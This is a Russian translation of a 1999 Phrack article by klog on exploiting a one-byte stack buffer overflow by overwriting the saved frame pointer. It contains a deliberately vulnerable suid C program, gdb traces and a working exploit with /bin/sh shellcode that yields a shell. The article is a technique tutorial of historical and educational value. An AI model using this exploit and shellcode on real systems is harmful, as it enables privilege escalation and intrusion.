Информационная безопасность
[RU] switch to English


Перезапись указателя на окно памяти


-------[  Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 08 of 19  ]


-------------------------[  Перезапись указателя на окно памяти  ]


--------[  klog <[email protected]>  ]


----[  Введение

Если буферы могут быть переполнены, то путем перезаписи критических данных, 
хранимых в адресном пространстве атакуемого процесса, мы можем изменить 
порядок выполнения процесса. Это не новость. Эта статья не окажет большой 
помощи в использовании переполнения буферов и не расскажет о самой уязвимости.
Она просто демонстрирует, что подобную уязвимость можно использовать даже в 
таких сложных условиях, когда буфер может быть переполнен всего на один байт.
Во многих неприятных ситуациях существуют всякие тайные уловки где основной 
целью является атака на доверяющий процесс, включая и такие, где сбрасываются 
права доступа, но мы будем рассматривать только случаи переполнения с 1 байтом.


----[  Объект нашей атаки

Давайте напишем уязвимую программу с правами суперюзера, которую мы
назовем "suid". Она написана таким образом, что позволяет переполнение 
буфера всего на 1 байт.

        ipdev:~/tests$ cat > suid.c
        #include <stdio.h>

        func(char *sm)
        {
                char buffer[256];
                int i;
                for(i=0;i<=256;i++)
                        buffer[i]=sm[i];
        }

        main(int argc, char *argv[])
        {
                if (argc < 2) {
                        printf("missing args\n");
                        exit(-1);
                }

                func(argv[1]);
        }
        ^D
        ipdev:~/tests$ gcc suid.c -o suid
        ipdev:~/tests$

Как вы видите, у нас не так уж много места, чтобы атаковать эту программу.
Фактически, переполнение вызывается переполнением буфера отведенного для
хранения данных всего на один байт. Но мы будем использовать этот байт с 
умом. Прежде чем атаковать что-либо, мы должны взглянуть на то, что этот байт 
реально перезаписывает (скорее всего вы уже догадались, но, черт побери,
кому до этого есть дело). Давайте разберем стек программы, используя gdb,
на момент, когда происходит переполнение буфера.

        ipdev:~/tests$ gdb ./suid
        ...
        (gdb) disassemble func
        Dump of assembler code for function func:
        0x8048134 <func>:       pushl  %ebp
        0x8048135 <func+1>:     movl   %esp,%ebp
        0x8048137 <func+3>:     subl   $0x104,%esp
        0x804813d <func+9>:     nop
        0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
        0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
        0x8048152 <func+30>:    jle    0x8048158 <func+36>
        0x8048154 <func+32>:    jmp    0x804817c <func+72>
        0x8048156 <func+34>:    leal   (%esi),%esi
        0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
        0x804815e <func+42>:    movl   %edx,%eax
        0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
        0x8048166 <func+50>:    movl   0x8(%ebp),%edx
        0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
        0x804816f <func+59>:    movb   (%edx),%cl
        0x8048171 <func+61>:    movb   %cl,(%eax)
        0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
        0x8048179 <func+69>:    jmp    0x8048148 <func+20>
        0x804817b <func+71>:    nop
        0x804817c <func+72>:    movl   %ebp,%esp
        0x804817e <func+74>:    popl   %ebp
        0x804817f <func+75>:    ret
        End of assembler dump.
        (gdb)

Как мы все знаем, процессор сначала запихивает в стек %eip, как того требует
инструкция CALL. Затем, наша маленькая программка засовывает %ebp, что можно
увидеть в строке *0x8048134. Затем, создается локальное окно памяти путем
уменьшения %esp на 0x104. Это значит, что наши локальные переменные занимают
0x104 байта (0x100 занимает строка и 4 байта занимает целочисленная 
переменная). Обратите внимание, что переменные физически выравниваются по 4
байта, т.е. буфер в 255 байт займет столько же места, что и буфер в 256
байт. Теперь мы можем сказать, как выглядит наш стек в момент переполнения 
буфера:

        сохраненный_eip
        сохраненный_ebp
        char buffer[255]
        char buffer[254]
            ...
        char buffer[000]
        int i

Это означает, что переполняющий байт перезапишет сохраненный указатель окна
памяти, который был помещен в стек в начале func(). Но как можно использовать
этот байт, чтобы изменить последовательность выполнения программы? Давайте 
взглянем  на то, что происходит с образом %ebp. Мы уже знаем, что он 
восстанавливается в конце func(), что можно увидеть в *0x804817e. Но что 
дальше?

        (gdb) disassemble main
        Dump of assembler code for function main:
        0x8048180 <main>:       pushl  %ebp
        0x8048181 <main+1>:     movl   %esp,%ebp
        0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
        0x8048187 <main+7>:     jg     0x80481a0 <main+32>
        0x8048189 <main+9>:     pushl  $0x8058ad8
        0x804818e <main+14>:    call   0x80481b8 <printf>
        0x8048193 <main+19>:    addl   $0x4,%esp
        0x8048196 <main+22>:    pushl  $0xffffffff
        0x8048198 <main+24>:    call   0x804d598 <exit>
        0x804819d <main+29>:    addl   $0x4,%esp
        0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
        0x80481a3 <main+35>:    addl   $0x4,%eax
        0x80481a6 <main+38>:    movl   (%eax),%edx
        0x80481a8 <main+40>:    pushl  %edx
        0x80481a9 <main+41>:    call   0x8048134 <func>
        0x80481ae <main+46>:    addl   $0x4,%esp
        0x80481b1 <main+49>:    movl   %ebp,%esp
        0x80481b3 <main+51>:    popl   %ebp
        0x80481b4 <main+52>:    ret
        0x80481b5 <main+53>:    nop
        0x80481b6 <main+54>:    nop
        0x80481b7 <main+55>:    nop
        End of assembler dump.
        (gdb)

Великолепно! После вызова func() в конце main(), %ebp восстанавливается в
%esp, строка *0x80481b1. Это означает, что мы можем установить %esp. Это 
означает, что мы можем установить %esp в произвольное значение. Но помните,
что значение не по-настоящему произвольное, вы можете изменить только
последний байт в %esp. Давайте проверим, правы ли мы.

        (gdb) disassemble main
        Dump of assembler code for function main:
        0x8048180 <main>:       pushl  %ebp
        0x8048181 <main+1>:     movl   %esp,%ebp
        0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
        0x8048187 <main+7>:     jg     0x80481a0 <main+32>
        0x8048189 <main+9>:     pushl  $0x8058ad8
        0x804818e <main+14>:    call   0x80481b8 <printf>
        0x8048193 <main+19>:    addl   $0x4,%esp
        0x8048196 <main+22>:    pushl  $0xffffffff
        0x8048198 <main+24>:    call   0x804d598 <exit>
        0x804819d <main+29>:    addl   $0x4,%esp
        0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
        0x80481a3 <main+35>:    addl   $0x4,%eax
        0x80481a6 <main+38>:    movl   (%eax),%edx
        0x80481a8 <main+40>:    pushl  %edx
        0x80481a9 <main+41>:    call   0x8048134 <func>
        0x80481ae <main+46>:    addl   $0x4,%esp
        0x80481b1 <main+49>:    movl   %ebp,%esp
        0x80481b3 <main+51>:    popl   %ebp
        0x80481b4 <main+52>:    ret
        0x80481b5 <main+53>:    nop
        0x80481b6 <main+54>:    nop
        0x80481b7 <main+55>:    nop
        End of assembler dump.
        (gdb) break *0x80481b4
        Breakpoint 2 at 0x80481b4
        (gdb) run `overflow 257`
        Starting program: /home/klog/tests/suid `overflow 257`

        Breakpoint 2, 0x80481b4 in main ()
        (gdb) info register esp
        esp            0xbffffd45       0xbffffd45
        (gdb)

Да, похоже что мы правы. После переполнения буфера одной буквой 'A'
(0x41), %ebp перемещается в %esp, который увеличивается на 4, поскольку
%ebp извлекается из стека перед RET. Это дает нам 0xbffffd41 + 0x4 =
0xbffffd45.


----[  Подготовка.

Что нам дает изменение указателя стека? Мы не можем изменить сохраненное 
значение %eip напрямую, но можем заставить процессор думать, что он находится 
где-то в другом месте. Когда процессор возвращается из процедуры он просто 
вынимает первое слово из стека, считая что это оригинальный %eip. Но если
мы меняем %esp, мы можем заставить процессор вынуть любое значение из стека
и считать, что это %eip, таким образом изменить последовательность выполнения.
Давайте спроектируем переполнение буфера используя следующую строку:

        [пустые_операции][код][&код][%ebp_перезаписывающий_байт]

Для того, чтобы сделать это, нам сначала нужно определить, какое значение мы
хотим придать %ebp (и посредством этого %esp). Давайте взглянем на что будет
похож стек, когда произойдет переполнение буфера:

        сохраненный_eip
        сохраненный_ebp (с 1 измененным байтом)   
        &код                            \
        код                              |  char буфер
        пустые операции                 /
        int i

Теперь, мы хотим чтобы %esp указывал на &код, чтобы адрес кода был вынут в
%eip когда процессор вернется из main(). Теперь, когда мы мы знаем, как мы 
хотим атаковать нашу уязвимую программу нам нужно извлечь информацию из процесса 
во время работы в ситуации переполненного буфера и адрес указателя на наш
код (&код). Давайте выполним программу так, как если бы мы хотели переполнить
ее строкой из 257 символов. Чтобы сделать это мы должны написать фальшивый
эксплоит который воспроизведет ситуацию в которой мы атакуем уязвимый процесс.

        (gdb) q
        ipdev:~/tests$ cat > fake_exp.c
        #include <stdio.h>
        #include <unistd.h>

        main()
        {
                int i;
                char buffer[1024];
        
                bzero(&buffer, 1024);
                for (i=0;i<=256;i++) 
                {
                        buffer[i] = 'A';
                }
                execl("./suid", "suid", buffer, NULL);
        }
        ^D
        ipdev:~/tests$ gcc fake_exp.c -o fake_exp
        ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
        ...
        (gdb) run
        Starting program: /home/klog/tests/exp2

        Program received signal SIGTRAP, Trace/breakpoint trap.
        0x8048090 in ___crt_dummy__ ()
        (gdb) disassemble func
        Dump of assembler code for function func:
        0x8048134 <func>:       pushl  %ebp
        0x8048135 <func+1>:     movl   %esp,%ebp
        0x8048137 <func+3>:     subl   $0x104,%esp
        0x804813d <func+9>:     nop
        0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
        0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
        0x8048152 <func+30>:    jle    0x8048158 <func+36>
        0x8048154 <func+32>:    jmp    0x804817c <func+72>
        0x8048156 <func+34>:    leal   (%esi),%esi
        0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
        0x804815e <func+42>:    movl   %edx,%eax
        0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
        0x8048166 <func+50>:    movl   0x8(%ebp),%edx
        0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
        0x804816f <func+59>:    movb   (%edx),%cl
        0x8048171 <func+61>:    movb   %cl,(%eax)
        0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
        0x8048179 <func+69>:    jmp    0x8048148 <func+20>
        0x804817b <func+71>:    nop
        0x804817c <func+72>:    movl   %ebp,%esp
        0x804817e <func+74>:    popl   %ebp
        0x804817f <func+75>:    ret
        End of assembler dump.
        (gdb) break *0x804813d
        Breakpoint 1 at 0x804813d
        (gdb) c
        Continuing.

        Breakpoint 1, 0x804813d in func ()
        (gdb) info register esp
        esp            0xbffffc60       0xbffffc60
        (gdb)

Есть. Теперь у нас есть значение %esp  сразу после создания окна памяти. С
помощью этого значения мы теперь можем предположит, что наш буфер будет
расположен по адресу 0xbffffc60 + 0x04 (размер 'int i') = 0xbffffc64, и что
указатель на наш код будет располагаться по адресу 0xbffffc64 + 0x100 (размер
'char buffer[256]') - 0x04 (размер нашего указателя) = 0xbffffd60.


----[  Время начать атаку

Наличие этих значений позволит нам написать полную версию эксплоита, включая
сам код, указатель на код и перезаписывающий байт. Значение, которым нам надо 
переписать последний байт сохраненного %ebp будет 0x60 - 0x04 = 0x5c, 
поскольку, как вы должны помнить, мы вынимаем %ebp сразу перед возвращением 
из main(). Эти четыре байта компенсируют то, что %ebp удаляется из стека.
Что касается указателя на наш код, то на самом деле нам не нужно, чтобы он 
указывал на точный адрес. Все, что нам надо,это чтобы процессор вернулся в
середину пустых операций (noops) между началом переполняемого буфера
(0xbffffc64) и нашим кодом (0xbffffc64 - sizeof(код)), как и в обычном 
переполнении буфера. Давайте будем использовать 0xbffffc74.

        ipdev:~/tests$ cat > exp.c
        #include <stdio.h>
        #include <unistd.h>

        char sc_linux[] =
                "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                "\xd7\xff\xff\xff/bin/sh";

        main()
        {
                int i, j;
                char buffer[1024];

                bzero(&buffer, 1024);
                for (i=0;i<=(252-sizeof(sc_linux));i++)
                {
                        buffer[i] = 0x90;
                }
                for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
                {
                        buffer[i] = sc_linux[j];
                }
                buffer[i++] = 0x74; /*
                buffer[i++] = 0xfc;  * Address of our buffer
                buffer[i++] = 0xff;  *
                buffer[i++] = 0xbf;  */
                buffer[i++] = 0x5c;

                execl("./suid", "suid", buffer, NULL);

        }
        ^D
        ipdev:~/tests$ gcc exp.c -o exp
        ipdev:~/tests$ ./exp
        bash$

Великолепно! Давайте пристально поглядим на то, что реально происходит.
Хотя мы создали наш эксплоит по теории, которую я представил в этой статье,
будет не лишним еще раз собрать все воедино. Можете остановиться здесь, 
если вы поняли все, что объяснялось ранее, и начать искать искать 
уязвимости.

        ipdev:~/tests$ gdb --exec=exp --symbols=suid
        ...
        (gdb) run
        Starting program: /home/klog/tests/exp

        Program received signal SIGTRAP, Trace/breakpoint trap.
        0x8048090 in ___crt_dummy__ ()
        (gdb)

Давайте сначала добавим несколько точек останова, чтобы внимательно
просмотреть атаку нашей программы suid происходящую у вас на глазах. Нам
нужно проследить за тем, как перезаписывается указатель на окно памяти
прежде чем начинается выполнение нашего кода.

        (gdb) disassemble func
        Dump of assembler code for function func:
        0x8048134 <func>:       pushl  %ebp
        0x8048135 <func+1>:     movl   %esp,%ebp
        0x8048137 <func+3>:     subl   $0x104,%esp
        0x804813d <func+9>:     nop
        0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
        0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
        0x8048152 <func+30>:    jle    0x8048158 <func+36>
        0x8048154 <func+32>:    jmp    0x804817c <func+72>
        0x8048156 <func+34>:    leal   (%esi),%esi   
        0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
        0x804815e <func+42>:    movl   %edx,%eax
        0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
        0x8048166 <func+50>:    movl   0x8(%ebp),%edx
        0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
        0x804816f <func+59>:    movb   (%edx),%cl
        0x8048171 <func+61>:    movb   %cl,(%eax)
        0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
        0x8048179 <func+69>:    jmp    0x8048148 <func+20>
        0x804817b <func+71>:    nop
        0x804817c <func+72>:    movl   %ebp,%esp
        0x804817e <func+74>:    popl   %ebp
        0x804817f <func+75>:    ret
        End of assembler dump.
        (gdb) break *0x804817e
        Breakpoint 1 at 0x804817e
        (gdb) break *0x804817f
        Breakpoint 2 at 0x804817f
        (gdb)

Таким образом первые точки останова позволит нам просмотреть содержимое %ebp
до и после извлечения из стека. Эти значения соответствуют оригинальному и
переписанному значениям.

        (gdb) disassemble main
        Dump of assembler code for function main:
        0x8048180 <main>:       pushl  %ebp
        0x8048181 <main+1>:     movl   %esp,%ebp
        0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
        0x8048187 <main+7>:     jg     0x80481a0 <main+32>
        0x8048189 <main+9>:     pushl  $0x8058ad8
        0x804818e <main+14>:    call   0x80481b8 <_IO_printf>
        0x8048193 <main+19>:    addl   $0x4,%esp
        0x8048196 <main+22>:    pushl  $0xffffffff
        0x8048198 <main+24>:    call   0x804d598 <exit>
        0x804819d <main+29>:    addl   $0x4,%esp
        0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
        0x80481a3 <main+35>:    addl   $0x4,%eax
        0x80481a6 <main+38>:    movl   (%eax),%edx
        0x80481a8 <main+40>:    pushl  %edx
        0x80481a9 <main+41>:    call   0x8048134 <func>
        0x80481ae <main+46>:    addl   $0x4,%esp
        0x80481b1 <main+49>:    movl   %ebp,%esp
        0x80481b3 <main+51>:    popl   %ebp
        0x80481b4 <main+52>:    ret
        0x80481b5 <main+53>:    nop
        0x80481b6 <main+54>:    nop
        0x80481b7 <main+55>:    nop
        End of assembler dump.
        (gdb) break *0x80481b3
        Breakpoint 3 at 0x80481b3
        (gdb) break *0x80481b4
        Breakpoint 4 at 0x80481b4
        (gdb)

Здесь мы хотим отследить перемещение нашего перезаписанного %ebp в %esp и
содержимое %esp до возвращения из main(). Давайте выполним программу.

        (gdb) c
        Continuing.

        Breakpoint 1, 0x804817e in func ()
        (gdb) info reg ebp
        ebp            0xbffffd64       0xbffffd64
        (gdb) c
        Continuing.

        Breakpoint 2, 0x804817f in func ()
        (gdb) info reg ebp
        ebp            0xbffffd5c       0xbffffd5c
        (gdb) c
        Continuing.

        Breakpoint 3, 0x80481b3 in main ()
        (gdb) info reg esp
        esp            0xbffffd5c       0xbffffd5c
        (gdb) c
        Continuing.

        Breakpoint 4, 0x80481b4 in main ()
        (gdb) info reg esp
        esp            0xbffffd60       0xbffffd60
        (gdb)

Во-первых мы просматриваем настоящее значение %ebp. После извлечения из
стека, мы можем увидеть, как оно заменяется значением, которое было
перезаписано последним байтом нашей переполняющей строки, 0x5c. После
этого, %ebp переписано в %esp, и, в конечном итоге после того, как %ebp
извлекается вновь из стека, %esp увеличивается на 4 байта. Это дает 
окончательное значение 0xbffffd60. Давайте взглянем, как все происходит.

        (gdb) x 0xbffffd60
        0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
        (gdb) x/10 0xbffffc74
        0xbffffc74 <__collate_table+3086618856>:        0x90909090      
        0x90909090      0x90909090       0x90909090
        0xbffffc84 <__collate_table+3086618872>:        0x90909090      
        0x90909090      0x90909090       0x90909090
        0xbffffc94 <__collate_table+3086618888>:        0x90909090      
        0x90909090
        (gdb)

Мы видим, что 0xbffffd60 это настоящий адрес указателя, указывающего в
середину пустых операций непосредственно перед нашим кодом. Когда процессор
будет возвращаться из main(), он извлечет этот указатель в %eip b перейдет
по точному адресу 0xbffffc74. Вот тогда и начнется выполнение нашего кода.

        (gdb) c
        Continuing.

        Program received signal SIGTRAP, Trace/breakpoint trap.
        0x40000990 in ?? ()
        (gdb) c
        Continuing.
        bash$ 


----[  Выводы

Несмотря на то, что способ неплох, некоторые проблемы остаются неразрешенными.
Изменение выполнения программы с помощью всего одного байта перезаписываемых
данных несомненно является возможным, но при каких условиях? По сути дела,
воспроизведение ситуации атаки может быть сложной задачей в чужеродном
окружении или, хуже того, на удаленном компьютере. Это может потребовать от 
нас угадать точный размер стека атакуемого процесса. Плюс к этому, добавьте
необходимость того, что переполняемый буфер должен следовать непосредственно
сразу за указателем на окно памяти, да и выравнивание по 32-битной границе
так же необходимо учитывать. Что же насчет атак больших защищенных архитектур?
Мы не сможем переписать сколь либо важный байт информации, если только у нас
нет возможности достичь этого адреса...

Можно сделать выводы, что это почти невозможная для атаки ситуация. Не смотря
на то, что я буду чрезвычайно удивлен, услышав, что кому-либо удалось применить
этот метод к реальной уязвимости, он, конечно, доказывает нам, что нет таких 
вещей, как большая или маленькая уязвимость. Любое переполнение уязвимо, все
что нужно - это найти как именно.

Спасибо: binf, rfp, halflife, route


----[  EOF
О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород